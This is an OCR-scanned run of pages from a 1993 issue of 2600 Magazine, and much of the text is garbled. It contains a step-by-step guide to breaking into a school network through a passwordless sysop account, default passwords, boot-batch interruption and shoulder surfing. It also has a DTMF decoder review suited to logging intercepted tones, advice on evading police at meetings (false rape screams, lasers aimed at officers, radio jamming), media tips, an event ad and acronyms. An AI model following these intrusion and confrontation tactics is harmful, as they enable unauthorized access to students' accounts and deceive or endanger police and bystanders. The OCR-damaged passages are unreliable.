nam e or number .  St u d e n ts use the i r  student  10 
nu mbers as their user name. The teachers use their 
own names. The administrators use Administrator and 
Sysop. 

First olT,logging on as the sysop. The idiots who 
run this thing (the teachers. enough said) don't  have a 
password on the sysop account. If you try to log in as 
administrator, it w i l l  ask you for a password. I don 't  
know what it  is. But if you try to log in as sysop, it will 
beep and you're in, password free. You have to be 
careful that no administrators are nearby, as that beep 
is only made when the sysop logs in. 

' 

Now that you're in, you will get a large menu with aU the 
choices. They consist of various sysop functions, from 
AddIRemovelEdit user account, AddIRemove files, Change 
passwonl, etc. I like the edit and make user account features. 
Editing an account is very easy. It asks for the user's name, 
grade, etc. This info is all available by pressing FI, which 
gives you a long list of every user, listing their name, ID 
number, and grade. So you just enter what you want and you 
have their account on your desktop. Edit away. Making an 
account is the same, except you make uJiinfo instead of usmg 
real information. Make your own sysop level account •. Why 
not? The sysop account that you are 00 can do anything you 
want to dq. 

Gelling into DOS. Easy. When the machine is booting 
up, press Control·C and/or Control·Break to tenninate the 
harch job. There you go. DOS. I would suggest waiting until 
you see the stuff about "inserting ring into network" or 
whatever. Then break the batch. If you break before this, you 
will only be able to mess with tIie local hard drive, not aU of 
them. On the system I was wOlking 00, the local drive was h. 
The main stuff was on t There are a lot of logs 00 h. All the 
drives pretty much look the same, with the same directories 
and all. But they are a little different, and the files in the 
directories are different. There are many neat tricks once 
you're inside DOS. 

. The directories follow a strange naming structure. 
The names of each user' s directory is the user' s name, 
underline characters C' s) to fill up the eight character 
name, but then they might also have a three character 
extension as wel l .  For example, one user (number 
8344) has directories called 8344 __ ._, files called 
8344 __ ._#, 8344 __ ._@, and so on. Strange. 

DOS doesn't seem to care though. The teachers follow 
the same format. A teacher named Mrs. Rosenthal had 
directories cal led ROSENTHA . L_. Interesting to say 
the least. I enjoy hacking this system just to look at the 
weird tricks this netware pul ls. 

Hacking acoounts. Easy too. If you didn't get on as the 
sysop and steal an account or make your own, and you don't 
want to mess around under your own name, this is for you. 
When the systems are put up, and when users are added, they 
all get the default password. On our systems, the password is 
DOG. So first, you pick a student number. These can be 
gotten in many places so you don't have to even guess. Look 
at any teacher's grade book or any attendance sheet, etc. They 
all have the ID number right next to the student's name. Now 
you log in using that number. At the password prompt, enter 
the default password. The easiest way to figure out the default 
password is to simply remember what it was the first time you 
logged in as yourself. Changing the password of the account 
you are using is simple. it's a choice from your main menu. 
You have to enter your current password and it doesn't echo, 
which prevents you from just going up to a tenninaI someone 
left without logging off and changing the password. Also, 
shOUlder surfing is not hard, especially since most users are 
computer illiterate. Most will even tell me their password! 
Like wben they change it, they tell me what it is voluntarily. 

If you are on as a student, not a sysop or other 
super user, you can· still do anything you want, almost. 
Go to Microsoft Works, which usually comes wiih the 
systems and is on everyone' s  menu. You can now load 
any file you want. I am still trying to find the password 
files. Another nice feature of Microsoft Works is the 
run external program choice from the file menu. "DOS 
prompt" is one of the choices.  If you run it, you will be 
in a full DOS shell .  You can do anything you want. 
You can do the same things you could if you broke the 
batch file while booting up. You might have some 
drives that you c an ' t  log into.  It depends on the 
restrictions of the user that you are using. 

There i s  a neat directory cal led Autolog and 
Autolog2. There are files called * . lgn, where * is  a 
number. These files have various things in them. I 
assume they are some sort of macro autologin things or 
something. The ones I looked at said things like "Hello 
Butch, the time is" and some kind of time string and 
'
stuff like that. But it also lists the user' s root directory 
and drives. Like if it has a:·h: ,  that user has access to 
drives a through h. The directory listed in there is  the 
user' s work directory, where all of,their files are saved. 

I hope I have helped to open your mind to hacking 
local school networks. These can be found by walking 
around the school looking into windows for a PS/2 
computer lab. You can then just walk in, sit down, and 
hack away. If for some reason someone asks why you 
are in there, say you ' re there for your history class or 
whatever. 

Summer 1993 2600 Magazine Page 13 



I PRODUCT REVIEW] 
TDD-8 DTMF Decoder connector will fit, with a littie force. 
$99, MoTron Electronics 

310 Garfield SI. #4 

Eugene, OR 97402 

(503) 687-2118 

Review by Les Inconnu 

(Sydney, Australia) 

For some months now, Popular Communications 
has carried an advertisement for a 'Touch-Tone 
Decoder/Display & ASCII Converter Board'. As 
described, this device, the TDD-8, displays all 16 
DTMF digits and provides an ASCII serial output. 
Input is accepted from any audio source: radio 
receivers, cassette recorders, answering machines; 
there is also IBM software to decode and store the 
results. 

Now something like this is sure to pique the 
interest of any phreak because it can be almost as 
important to decode DTMF tones as to generate them, 
but at ninety-nine dollars a throw (and V,S. dollars at 
that) plus extras, plus postage, it seems a little too 
expensive for mere curiosity. However, such a device 
has just found its way here to the far side of the planet, 
and it is indeed a very useful toql for exploring the 
telephone system. 

First Contact 

The package anived from Oregon, airmail, in just 
two weeks, That in itself is worth mentioning when 
airmail delivery to Australia can take from five to 
twel ve weeks. Very good service' 

Not so good though was the documentation, The 
package contained a fully-assembled board, two 
cables, and a 5,25" disk. That's it' No documentation. 
No READ.ME file. Nothing' 

The board itself is a 150mm by 60mm double­
sided PCB whose most noticeable feature is eight 
seven-segment LED displays. These display the digits 
decoded. The first digit appears in the rightmost 
display, and automatically scrolls to the left as more 
digits are decoded. 

A 40-pin chip with no markings other than 'TDD-
8" and a proprietary code, hand inked on a stick-on 
label, is obviously full of magic. The presence of a 
crystal on the board seems to indicate sampling 
techniques, as well as a shift register clock. Apart from 
a 7805 to turn the 12 volts into 5 volts, a green LED to 
indicate Power On, and some driver transistors and 
passive components, the board is bare. 

Or almost bare. There are three miniature push­
button switches: CLEAR, SCROLL <-, SCROLL ->. 
There are also three sockets: AVD, SER, and a 
concentric 2.1 mm power connector. The power 
connector proved to be centre positive, outer negative 
(there is no standard for these things), however a 
protective diode has been installed across the input and 
this should keep the board from harm. A 2.5mm 

The AUD a�d SER sockels take suhminiature 
J.5mm jack plugs. Two cahlcs arc pro\'itkd. at 
$(US)10 extra. One is a one metre long cord with two 
wires and 3.5mm plugs at each end. One end stil'l\.� in 
the audio outlet of a radio receiver. such as a scanner. 
and the mher goes into the AUD input of the ooard. 
Obviously this carries the input signal. 

The other cahlc has a 3.5111111 plug at one end, and 
this inserts into the SER outlet on the hoard. The other 
end of the cahle has a D25 socket which attaches to 
COM I or COM2 of your IBM backfral11e. The wiring 
ror this cable is simple. Tip goes to pin 3. Sleeve goes 
to pin 7. Wire up both of these cables and .... a\'C 
yourself twenty smackers. 

A 120 volt AC to 12 volt DC converter is also 
,available. but was not ordered, being of no usc here 
where the power is 240 volt>; AC (and 260 volts AC in 
the west). 

Setting It Up 

Operation is very simple, in spite of the lack of 
instructions. Plug a 12 volt source into the power 
connector. The display flashes momentarily while the 
green LED lights up. The TDD-8 takes 75 rnA with no 
display, 150 rnA with all the displays lit. In their 
advertisements MaTron specifies 300 rnA but 150 mA 
is the maximum, even while operating. so a battery 
supply would be easy. Eight alkaline C cells would be 
enough. 

The AVD line will connect to a scanner audio 
outlet. "Ext speaker" or "record" provides sufficient 
voltage. Minimum input seems to be about 1.5 volts 
peak-to-peak in practice, while maximum is not 
known. (we were a wee bit cautious) but clipping 
seems to take place at 5.0 volts peak-to-peak. Just as 
the ad says, it is happy with the output of receivers, 
tape and cassette recorders, and answering machines. 

Field Use 

Now for all sorts of reasons, cost and fragility of 
the device being among them, we do not recommend 
that you hang one of these off a twisted pair with 
alligator clips. However, if you can put the TDD-8 into 
a suitable box it can be used, attached to a hand-held 
scanner or similar receiver. The box will need to 'have 
a transparent lid to read the display, attachments for 
the three switches, and three holes for the leads. You 
will have to work this out for yourselves. When used 
as a portable device only the AVD and power 
connectors are used. The TDD-8 holds 40 digits (rather 
than the 32 advertised) but it cannot tell where one 
sequence begins and ends. So if you have five eight­
digit numbers, they will all run together as one big 40-
digit number. 

o to 9 and A to D are all easy to read on the seven­
segment display. # shows as three horizontal lines, one 
on top of the other, while * shows as a distorted S. It is 
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easy to read with practice. 
The two SCROLL buttons let you scroll through 

the memory. CLEAR will clear everything. 
Connecting to a PC 

While almost any computer with an RS-232-C 
connector and a dumb terminal program will receive 
something from the TDD-8, unless you write your own 
program it will not perform any better than the inbuilt 
display. 

For IBM's (and compatibles), MoTron provides a 
S.2S" disk with a single file: TONELOG.EXE. When 
this is installed and the TDD-8 connected to COM 1 or 
COM2 via the SER outlet the full power of this device 
is seen. 

Run TONELOG.EXE and it first searches for the 
TDD-8. If it is not connected a bar (you couldn't call it 
a window) appears and tells you to connect it to 
COM I or COM2. This is about as user-friendly as it 
gets, but then most of us won't be worried by this. 

At the bottom of the screen is a two line menu. F l  
to  F4 and F6 to  FI I all provide toggle switches. FS  is 
not used. F l O  and Fi l have no function, but all the 
others allow you to toggle between COM ports, switch 
the printer on and off, print, exit, or nominate a data 
file (PHONELOG.DT A is the default). 

F7 brings up an empty window to let you set the 
alarms. However, there is no explanation as to how to 
do this, or even what alarms are. F8 toggles these 
mysterious alarms. 

A sample PHONELOG.DTA is shown below. 
This file preserves exactly what appears, in real time, 
in the screen above the menu. 
01-21- 1993 2 1 :35: 1 0  l l l l l l i l  I - I l l - I l l l  
0 1 - 2 1 - 1 993 2 1 : 35:20 22222222 
01-21 - 1 993 2 1 :35:36 33333333 
0 1 - 2 1 - 1 993 2 1 :35:46 I 
0 1 -2 1 - 1 993 2 1 :35:58 
0 1 - 2 1 - 1 993 2 1 :36:36 7 
0 1 - 2 1 - 1 993 2 1 : 36:46 0 
01 -2 1 - 1 993 2 1 :37: 1 6  # 
01 -2 1 - 1 993 2 1 :37: 1 7  0*78965441 1236687745887458*# 
0 1 - 2 1 - 1 993 2 1 :50:45 5 
0 1 - 2 1 - 1 993 2 1 : 5 1 :06 1234567890*# 
0 1 - 2 1 - 1 993 2 1 :5 1 : 14 1234567890*# 
0 1 - 2 1 - 1 993 2 1 : 5 1 :2 1  1 234569877896541 232*23321 # 
0 1 - 2 1 - 1 993 2 1 : 5 1 :37 8 
0 1 - 2 1 - 1 993 22:03:00 12345678901 2345678901234567890 

1 234567890 1 234567890 
1234567890# 

0 1 - 2 1 - 1 993 22:04:00 l l l l i l l  I l l - I l l  I 
0 1 - 2 1 - 1 993 22:04: 1 1  22222222 
0 1 - 2 1 - 1 993 22:04:22 333333 
0 1 - 2 1 - 1 993 22:04:30 44444444 
0 1 - 2 1 - 1 993 22:04:4 1 5555555 555-5555 
01-21 - 1 993 22:04:49 66666666 
0 1 -2 1 - 1 993 22:04:59 7777777 777-7777 
01 -2 1 - 1993 22:05:07 8888888 888-8888 
0 1 - 2 1 - 1 993 22:05 : 1 6  9999999 999-9999 
0 1 - 2 1 - 1 993 22:05:23 00000oo 000-0000 
0 1 - 2 1 - 1 993 22:05:32 ******* 
0 1 - 2 1 - 1 993 22:05:41 # 
0 1 -2 1 - 1 993 22:05:41 # 
0 1 - 2 1 - 1 993 22:05:41 # 
0 1 - 2 1 - 1 993 22:09:05 021 234567 
0 1 -2 1 - 1 993 22:09 : 1 9  00 1 1 1 239456753 

0 1 - 2 1 - 1 993 22:30:47 
0 1 - 2 1 - 1 993 22:3 1 : 10 *098765432 1 #  

Each line has the same form: 
1 Date as MM-DD-YYYY (eg: 0 1 - IS- 1993 for I S  

January 1 993). Obviously the product i s  aimed a t  the 
US market, so it may just be a quibble to complain that 
the DD-MM-YY format that almost all the world uses 
is not an option. Still, it's annoying. 

2. Time as HH:MM:SS in a 24-hour clock. 
3.  Digits as received. 
4. If you received 7 digits, these are repeated in 

the form nnn-nnnn. If you received 8 digits, these are 
repeated in the form n-nnn-nnnn, but not always. # is 
taken as an end-of-dial signal. A new line starts after 
every #. Any five-second pause is also taken as an end­
of-dial signal. We have not yet found any limit to the 
size of PHONELOG.DTA, but in practice you would 
want to keep it fairly small. If no # or five-second 
pause is found, then DTMF digits are recorded on the 
same line. There is no limit to this, but only the first 52 
digits are saved to the file. 

Radio Interference 
As you would expect,  there i s  some RF 

interference from the shift register clock, especially 
from 7 to 3S MHz. This is only harmful if you sit the 
unshielded board next to a receiver. About 50 cm 
separation seems to cure it, but you may have to 
experiment. 

Operation 
Proper detection of DTMF tones depends on the 

signal-to-noise ratio received. This will depend on 
your radio link. We can envisage using the device to 
decode recordings made of tones sent by small 
transmitters, with the unattended receivers placed 
fairly close to the transmitters. 

What More Can We Say? 
The lack of documentation is a nuisance, but it can 

be coped with. A very interesting little device. One of 
the most useful we have seen. A pity that like a lot of 
good tools it' s  so expensive. 

2 600 HAS A F U LL 

LI N E  O F  BAC K 

I S S U E S  FOR YO U R  

HAC KI N G  N E E D S .  

S E E  PAG E 4 7  FOR 

D ETA I L S .  

( PAG E 47 H A S  N O  

PAG E N U M B E R . )  
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MEETING ADVICE 
Following the disruption of the November 

2600 meeting in Washington DC, we have 
received several suggestions on strategies 
and ways of preventing problems in the future. 
We are printing two of those here. 

While we must thank the contributors for 
sharing their thoughts, we have to point out 
that neither piece really captures the spirit of a 
2600 meeting. While the first article contains 
good suggestions and valuable tactics, it 
could also give the impression tha t  th e 
primary reason for our meetings is to outwit 
and defeat the authorities who happen to be 
present. While this feeling may exist, and is 
certainly intensified during harassment 
campaigns, the main reason for our 
gatherings is simply to get together, meet 
people, and show the world that we've got 
nothing to hide. The meetings are not acts of 
civil disobedience. Nor are they forms of 
guerrilla warfare. If, however, the authorities 
step over the line, we are prepared to make it 
an issue in a civilized and mature manner, as 
was proven in Washington DC. Otherwise, we 
bear no animosity towards people in uniforms. 

The second article comes from a joumalist 
who suggests ways of "legitimizing " 2600 
meetings. Again, many of the suggestions are 
sound and worth pursuing. But our meetings 
are flagrantly informal, to the degree that any 
agenda or form of organization would be 
largely alien to us. Hackers exist best in an 
unstructured environment and it would be 
wrong for any of us to try and change that. 
What we can do is show the world that our 
unstructured existence, both at the meetings 
and on computers, Is not analogous to chaos. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - � 

by Parity Check 
The recent disruption of hacker meetings 

by law enforcement agencies in the U nited 
States has gotten me to think about security in 

.p u b li c  p l a c e s .  T h e re s e e m s  to be a 
misconception that since you are in a public 
place, the cops will be less inclined to harass 
you because of bad press. Nothing could be 
further from the truth . The officials have public 
re lat ions p e o p l e  t h at c o u l d  convince t h e  
average population that the pope i s ,  in fact, 
the devil -flimself. Then again, considering the 
average Joe Cool,  it's relatively easy to do. 

If they nail you in a m a l l ,  they can BS 
everyone by saying that you are a young 
offe n d e r ,  u rban terror ist ,  drug dealer ,  or  
someth ing .  The fact that most of us in  the 
underg round comm unity are young doesn't 
h e l p :  Who are you g o i n g  to t r u st ?  T h e  
respectable looking gentleman in uniform, the 
last line of defense against anarchy? Or the 
rat h e r  s n otty l o o k i n g  k i d  in j e a n s  w h o ' s  
carry i n g  a l l  those i l legal  l o o k i n g  d evices? 
Much too young to be on his own. I ' l l  bet he 
has a pol ice record . What's he u p  to? He 
probably wants to steal my wallet! That'l l teach 
him! (Get the point?) 

First of all, don't call a meeting on the fly. 
Plan it. Go there even before spreading the 
word of the meeting and look a!llJMlli . Draw a 
map if you have to. Look for exits, note where 
they are, how many, etc . . . .  Your meeting place 
s h o u l d  have 360 vis ion a l l  aro u n d  to see 
trouble coming up to you. If you know whafs 
coming up at you, you' l l  have more time to 
react, hence m o re t i m e  to make the r ight  
decision for  that situation. 

You m i g h t  want to c o n s i d e r  h a v i n g  
spotters walking around the mall. Have them 
come in a couple of hours before you and take 
p l ac e s  at t h e  food c o u rt ,  rest  a r e a ,  o r  
whatever a n d  start tal king with each other, 
basically looking l ike John Q. Public, blending 
in with the background. Their job is to watch 
the watchers, look at people who are around, 
and look for stares at your group.  They are 
your source of intell igence on the environment 
around you. If you " get advance waming of a 
b u i l d - u p  in the cop to joe rat io ,  then your 
chances of confrontation are far less. 

O n e  t h i n g  t h at w i l l  t i p  y o u  off as to 
someone's intentions is the body language. 
Most of us don't realize it but we constantly 
give i n d icat ions of our intents and internal 
emotions. Probably the most expressive are 
the eyes. This is why bodyguards wear dark 
glasses. Except with very good training and 
p ract ice,  it cannot be stopped . Look it  up 
s o m e w h e re in a b o o k  a n d  u s e  y o u r  g u t  
feelings. 

Set up a danger signal with your people. 
You can have the simplest of hand signals to 
a w i re less mic in yo u r  f r iend's  co l lar  that 
transmits to your walkman "playing" George 
Bush's greatest h its or something. Pick your 
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spots carefully. You want your spotters to be 
well  situated,  where they can look and see 
everything. If the place has many levels, put 
people on the h i g l1est; they' l l  have a much 
better view of things and wil l  be able to check 
the bigger pictures. However, you wi l l  lose 
body language at this distance. If you can get 
access to an apartment or an isolated place 
overlooking the meeting,  you can get carried 
away with a camera and binocu lars - more 
stuff to use a g a i n st t h e m  i f  you do g e t  
harassed b y  a n  agency. You also want a plan 
if the shit really h its the pan . The first thing to 
do is spread out: a mob is easy to contain 
because every o n e ' s  togeth e r  as a s i n g l e  
target. A set o f  15  individuals heading in al l  
d i rections is a pain to control because they 
now have m ultiple targets, thus they wi l l  be 
less effective. Next, you want your people to 
be organized and the cops confused.  This 
maximizes your chance of  escape. One thing 
you can try is having a female in your group 
wait ti l l  one gets close to her and then scream 
rape! or something really embarrassing. It  wil l 
not look real ,  but it j ust might confuse them 
and seriously embarrass them. One thing that 
you might try but that I'm really itchy about is 
using a laser pOinter or a hydrogen (red) laser 
of some kind. Tell your spotters to sight it on 
the cops. With l u c k  they might  t h i n k  it's a 
gunsight. This however might bring more harm 
than anything else since they might lose it and 
shoot (at you).  

A n o t h e r  way of  creat i n g  c o n f u s i o n  is 
jamming the radios they have. It  will not last 
l o n g  as t h e y  w i l l  r e s o rt to b a c k u p s  a n d  
l a n d l i n e s  b u t  i t  w i l l  g i v e  you a c o u p l e  o f  
seconds. 

The methods available to create confusion 
are countless but you will want to weigh the 
consequences of your actions. Firing up a half 
dozen industrial grade smoke bombs is not a 
g o o d  i d e a :  t h e re w i l l  be a p a n i c  a n d  a 
stampede in which people (this means you) 
could and will get h u rt and/or ki l led.  This is 
without mention of the legal actions that could 
be taken against you with reason. 

O n  the l i g ht e r  s i d e ,  n ot h i n g  w o u l d  be 
worse that resetting the burglar alarms to arm 
mode, sounding the flood alarms, throwing 
water balloons from another position , sending 
a bucket of ball  bearings sai l ing across the 
f loor ,  a wate r p i stol  f i l led with crazy g l u e ,  
turning off a l l  t h e  l ights, toying with t h e  PA 
system so that the volume is real l o u d ,  or 
anything that will create general mayhem. 

I n  conclusion, this is the real ball game. 
The above m i g h t  s o u n d  p a r a n o i d  and i t  
p robably is ,  but  I ' d  rather be a free-roving 
paranoid than in  prison. The other team has 
(some) train ing to fall back on. You have your 
guts and your knowledge. The one that reacts 
the fastest and the wisest wins. 

L _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _  _ 

by Romula Velcro 
Your meetings are being disrupted. I l legal 

s e a r c h e s  � n d  s e i z u res are t a k i n g  p l a c e .  
You're b e i n g  treated l ike a cr iminal  s imply 
because you are a member of  a certain group.  
You're being int imidated , harassed, or even 
detained without being accused of a crime. 
Your constitutional rights are being infringed . 

If these things are happening to people in 
your group and you're not getting any press 
coverage ( o r  any cove rag e you do get is  
b i as e d  i n  favor  of off i c i a l  a n d  c o r p o rate 
s o u rce s ) ,  i t 's t i m e  to start d e v e l o p i n g  a 
relationship with your local media. You need 
t o  let t h e m  k n o w  yo u r  s i d e  of  t h e  story .  
Radical , "alternative" weeklies wi l l  be more 
sympathetic, but there are ways to work with 
the "mainstream" press too, so don't ignore it. 
Keep in mind that a majority of reporters are 
l iberal , even though their employers are not. 

Here's what you can do. 
1 )  Name your group, get a post office box, 

design a logo, get some letterhead , choose 
one person to be the publ icity di rector, and 
start writing press releases. If  you can afford 
one, rent a private P.O. box. Be sure to ask 
the mai lbox company about  t h e i r  p r i vacy 
p o l i c i e s ;  m a n y  a l l ow box r e n t e rs t o  u s e  
pseudonyms. They often have voice mail and 
fax s e rv ices,  so take advantage of t h e m .  
These services are expensive b u t  worth it, so 
pool your funds. Getting a U . S .  Mail post office 
box u n d e r  t h e  n a m e  of a g ro u p  req u i res 
supplying the names and addresses of  one or  
two people in the group, and anybody can call 
the post office and find out who rents the box. 

2) Call the newspaper and get the mailing 
address for the news department, ask who the 
city editor is, get their extension number, and 
direct your press releases and phone calls to 
that person. Find out if there is some kind of 
guide to commun icating with the paper that 
tells "who's who" at the paper and what they 
do. Pick one up or have one mailed to you. 

3) Make s u re that you have "news" to 
com m u n icate.  I f  your m e e t i n g s  are b e i n g  
monitored or disrupted, i f  members are being 
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followed , if other harassment is taking place, 
that's news.  Arrests and laws u i ts are also 
news. 

4) C o n s i d e r  p u b l i c i z i n g  you r  m e e t i n g s .  
( Y o u r  group m a y  even decide to establ ish a 
"publ ic" or "legitimate" arm for public relations 
purposes while maintain ing a private "core" . )  
Meet regularly, decide on a topic of  discussion 
for e a c h  m e e t i n g ,  a n d  d o n ' t  m a k e  it too 
tech n i c a l .  P r ivacy a n d  "b ig gove r n m e n t "  
i s s u e s  - C a l l e r  10 ,  c r e d i t  reports,  p u b l i c  
information,  data security, etc. - a r e  most 
likely to get members of the public interested. 

5) G e t  a p u b l i c  m e e t i n g  s p a c e .  
U n iversit ies,  p u b l i c  l i b rar ies,  the U n itarian 
Society, community centers,  c h u rches, city 
recreation departments, etc . ,  often have low­
cost or free spaces for public use. Watch the 
newspaper 's  ca lendar  l is t i n g s  to f i n d  o u t  
where various g roups m e e t .  N etwork with 
other radical and free speech-oriented groups 
to find out where to meet, who their  media 
contacts a re ,  what t h e i r  exper iences with 
harassment have been, how to f ind a good 
lawyer, etc. 

6) When you have a meeting t ime and 
place established (p lan at  least a month i n  
advance ) ,  announce the m eeti n g  at least 
two weeks i n  advance by sending a press 
r e l e a s e  t o  e v e ry d a i l y  a n d  w e e k l y  
newspaper i n  you r  area. Write a head l i n e  
saying something l ike "Hacker G roup Opens 
Meetings to Publ ic ."  List the name of your 
group, topic of  discussion,  names of g uest 
speakers ,  t i m e ,  date,  p lace , and contact 
name and phone n u m ber. Send one r4illease 
to the calendar l istings section and cine to 
the c i ty editor or a sympathetic reporter .  
Why not send one to your  fr iendly Secret 
S e r v i c e  or F B I  a g e n t ?  S e e  h o w  m a n y  
p e o p l e  y o u  c a n  g e t  t o  c o m e  t o  y o u r  
m e e t i n g s .  B y  a v o i d i n g  a n y  h i n t  o f  
clandestine activities, you' l l  make i t  harder 
for  the feds to harass you .  

7 )  I n v i t e  s p e a k e rs f r o m  a n e a rb y  
u n iversity, AC L U ,  law enforcement ,  local  
S e c re t  S e rv i c e  or F B I  o f f i c e ,  a 
representative of the phone company, etc . ,  
t o  address y o u r  meeting.  H ow about a panel 
d i s c u s s i o n  w i t h  r e p r e s e nt a t i v e s  f r o m  
a c a d e m i a ,  g o v e r n m e n t ,  c o r p o rat i o n s ,  
ACLU, the media? Keep the media informed 
of you r  activit ies.  ("Hacker G ro u p  to Host 
Computer Pi racy Forum" would be an eye­
catching headl ine.)  

8) If you have filed a lawsuit, it's a good 

idea to contact the paper's court reporter (or 
have your lawyer do it) to alert them to the suit 
a n d  to l e ave a contact  n a m e  a n d  p h o n e  
n u mber s o  they' l l  b e  a b l e  t o  reach y o u  for 
c o m m e n t .  N a t u r a ll y ,  t h e y  can get t h i s  
information from the court - if they're aware 
that the s u i t  has been f i l e d  a n d  if they ' re 
interested - but call them anyway. 

9) If your meetings are being disrupted and 
an editor doesn't want to cover your story, ask 
him or her if he or she would cover the story if 
your group were the NAACP. The media wi l l  
pay atte n t i o n  to y o u  i f  they are made to 
u n d e rsta n d  the i s s u e s  u n d e r l y i n g  yo u r  
p r o b l e m s .  I f  y o u  a r e  o n l y  i n t e re s t e d  i n  
breaking into computer and phone systems for 
fra u d u lent use or to steal data, you ' re not 
going to get m uch sympathy. If, however, your 
r ight of publ ic assembly,  r ight to p rotection 
against illegal search and seizure, and right to 
free express i o n  are b e i n g  i nf r i n g e d  u p o n  
because y o u  happen to be a member o f  a 
certain group, the media should be interested 
in these issues. 

1 0) Check out your local pub l ic  access 
t e l e v i s i o n  stat i o n .  In m y  co m m u n ity, Cox 
Cable has a monopoly on cable TV and,  as 
part of its contract with the city, is required to 
fund the city's public access TV station. This 
stat i o n  m u st a i r  a l l  n o n c o m m e rc i a l  v ideo 
submitted by the public (even birt/:lday parties, 
l ittle Susie's first haircut, etc.) ,  completely free 
of censorship. Maybe you can videotape your 
meetings (they should be around 28-29 or 58-
59 minutes in length) and send them to the 
station for broadcast, or appear on someone's 
show, or produce your own show. 

U nf o rt u n at e l y ,  most  news o u t l ets are 
owned b y  h u g e  c h a i n s  t h at are m o r e  
c o n c e r n e d  about  p rof its t h a n  about  t h e i r  
responsibi l ity a s  government watchdogs for 
t h e  p u b l i c .  R e p o rters wh o w o r k  for t h e  
mainstream press - especially those a t  small 
or medium circulation dailies with small staffs 
and few resources - are basically desk jockeys 
who do most of their work by phone, fax, and 
mail. They rely heavily on wire stories and the 
govemment and corporate PR machinery. It's 
up to you to let them know your side of the 
story because they probably don't have the 
time to try to track you down. 

M a rt i n  A .  L e e  a n d  N o rm a n  S o l o m o n  
examined these issues a t  length in their book, 
Unreliable Sources: A Guide to Detecting Bias 
in News Media. Lee is the cofounder of FAI R -
Faimess and Accuracy in Reporting. 
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IC, In , presents: 
HACKING AT THE END OF THE UNIVERSE 

An "in-tents" summer con,ress 
Remember the G a l a ctic H acker Pa rty back in 1 989? Ever wondered what happened to the 
people beh i n d  it? We sold out to big business, you t h i n k. Th i n k  again,  we're back I That's 
right. O n  Aug ust 4th,  5th, and 6th 1 993, we're org a n is ing a th ree-day summer cong ress 

fo r h ackers, phone p h reaksi progra m m e rs, computer h aters, data travel lers, electro­
wiza rds, networkers, h a rdwa re freaks, tec h n o-a narch ists, com m u n ications j u n kies, 

cybe rpu nks, syste m managers, stu pid use rs, paranoid a n d roids, U n ix g u rus, wh izz kids, 
wa rez d udes, law enfo rcement officers (appr.opriate undercove r dress req u i red), g uerri l l a  

heati ng eng ineers, a n d  other asso rted bald, long-ha i red a n d/or u nshaven scu m .  A n d  a l l  
t h i s  i n  the m i d d l e  o f  nowhere (wel l ,  the m i d d l e  o f  H o l l a n d, actu a l ly, b u t  that's t h e  s a m e  

t h i n g )  a t  t h e  La rserbos campground fo u r  metres bel ow s e a  level .  

99999999999999999999999999999 
The thrse daJlS wiH be filled with IecturetI, discussions, and IIIIWIuIhopII on htJt:king,.phnJtJIdng, 
people's ne� Unix .-curity  risks. virtual l8lllity, --run, ___ engi�ng, 1I...,.1r"" 
Iockpicking, vi� ptJI'BIIOia, IegaJ ..x:fions II(JIJiMt hBcIcing in HoIIIInd and __ wfaenl, and 
much, much IIXHII. English wiH be the Hngua � for this ewnt although .."., 1IIIWIuIhopII 

mey take place in Dutch. ThenJ wiH be en InfBmBt connection, en infBl18nt fllhsmet" and ___ 
intetaction (both electronic and HIIfJ}. 1ncIuded in the price Bt8 foUT nightB in t'OfM' own f8IJf. AIIJo 

included are inspirBtion, transpilBfion, II ahoI1age of IIhowws (but II ItJIce to .wIm in), good 
lIIIfIIJther (fIIIII/I7IIIf8e by GodJ, campfires, and plenty of wida Gp8IJ ipIJCe and "."" ,,;,. All of this 

for only 100 Dutch guiIdfII's (currently around US $70). 
� � ����������������� 

WE WILL ALSO ARRANGE FOR "THE AVAIlABILITY OF FOOD, DRINK, AND SMOKES OF ASSORTED TYPES, BUT "THIS IS NOT INCLUDED IN 
"THE PRICE. OUR BAR WILL BE OPEN 24 HOURS A DAY, AS WELL AS A GUARDED DEPOSITORY FOR VALUABLES (UKE LAPTOPS, 

CAMERAS, ETC.). You MAY EVEN GET YOUR STUFF BACK! FOR PEOPLE WI1H NO lENT OR AIR MAnR:SS: YOU CAN BUY A lENT 
"THROUGH US FOR 100 GUILDERS, A MATIRESS COSTS 10 GUILdeRS. You CAN ARRIVE FROM 17:00 ("THATS FIVE P.M. FOR 

ANALOGUE TYPES) ON AUGUST 3RD. WE DON'T HAVE TO VACAIE THE PREMISES UNTIL 12:00 NOON ON SATURDAY, AUGUST 7TH 
SO YOU CAN EVEN TRY TO SLEEP "THROUGH THE DEVASTATING PARTY AT THE END OF TIME (PET) ON THE CLOSING NIGHT (UVE 

MUSIC PROVIDED). WE WILL ARRANGE FOR SHUTTlE BUSeS TO AND FROM TRAIN STATIONS IN THE VlONITY. 

iUtr.rtf{i1til,&,UtytftfiltUtftilWU{'tllltf{fttUf.I 
Payment In advance only by July 1 5th 1993. You should call, fax, or e-mail us for the best way 

to launder your currency into o u r  account. Foreign cheques go d irectly into the toilet paper 
recycling bin for the summer camp, which is a bout a l l  they're good for here. 

Very Important: Bring many guitars and laptops. Busloads of alternative techno-freaks from 
all over the planet wil l  descend on this event. You wouldn't want to miss that, now, would you? 

Space is limited. 
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acronyms h-r 
by Echo 

(,."" 1 ",.""",. In the Spring 1993 I .. ue.} 
HCSDS Hig h·Capacity Satel l ite Digital Service 
HCTDS Hig h·Capacity Terrestrial Digital Service 
HDLC High-level Data Link Control 
HDTV High Defi nition TV 
HDX Half DupleX 
HEAP Home Energy Assistance Program 
HEHO High End Hop Off 
HIC Hybrid Integrated Circuit 
H N PA Home N u m bering Plan Area 
HNS Hospita lity Network Service 
HOBIC HOtel B i l l i ng I nformation Center 
HOBIS HOtel B i l l ing I nformation System 
HP Hewlett-Packard 
HPO High Performance Option 
HSSDS High·Speed Switched Digital Service 
H U  High Usage 
H UTG High Usage Tru nk Group 
HZ HertZ 
I&M Instal lation & Mai ntenance 
I/O I n put/Output 
I B  I nstruction Buffer 
IBN Integ rated Busi ness Network 
IC I ndependent Carrier 
IC I nter-exchange Carrier 
IC I nter-LATA Carrier 
ICAN I ndividual Circuit ANa lysis 
ICC Interstate Commerce Commission 
ICD Interactive Cal l  Distri bution 
ICLID Individual  Ca l l i n g  Line 10 
ICM I nteg rated Cal l  Ma nagement 
IF  Intermediate Freq uency 
IFRPS I ntercity Facil ity Rel ief Planning System 
liN Integ rated I nformation Network 
1M Interface Module 
